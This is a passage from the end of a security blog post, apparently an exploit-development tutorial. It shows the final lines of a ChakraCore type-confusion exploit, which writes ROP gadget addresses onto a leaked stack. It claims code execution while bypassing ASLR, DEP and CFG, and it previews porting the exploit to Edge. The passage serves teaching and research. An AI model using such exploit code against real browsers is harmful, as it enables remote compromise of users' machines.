    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x7be3e</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18003e876: jmp rax</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>As we can see, we achieved code execution via type confusion while bypassing ASLR, DEP, and CFG!</p>

<p><img src="/images/2typeconfusion114.gif" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>As we saw in part two, we took our proof-of-concept crash exploit to a working exploit to gain code execution while avoiding exploit mitigations like ASLR, DEP, and Control Flow Guard. However, we are only executing our exploit in the ChakraCore shell environment. When we port our exploit to Edge in part three, we will need to use several ROP chains (upwards of 11 ROP chains) to get around Arbitrary Code Guard (ACG).</p>

<p>I will see you in part three! Until then.</p>

<p>Peace, love, and positivity :-)</p>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Leveraging ChakraCore to convert our denial-of-service from part 1 into a read/write primtive and functioning exploit.]]></summary></entry></feed>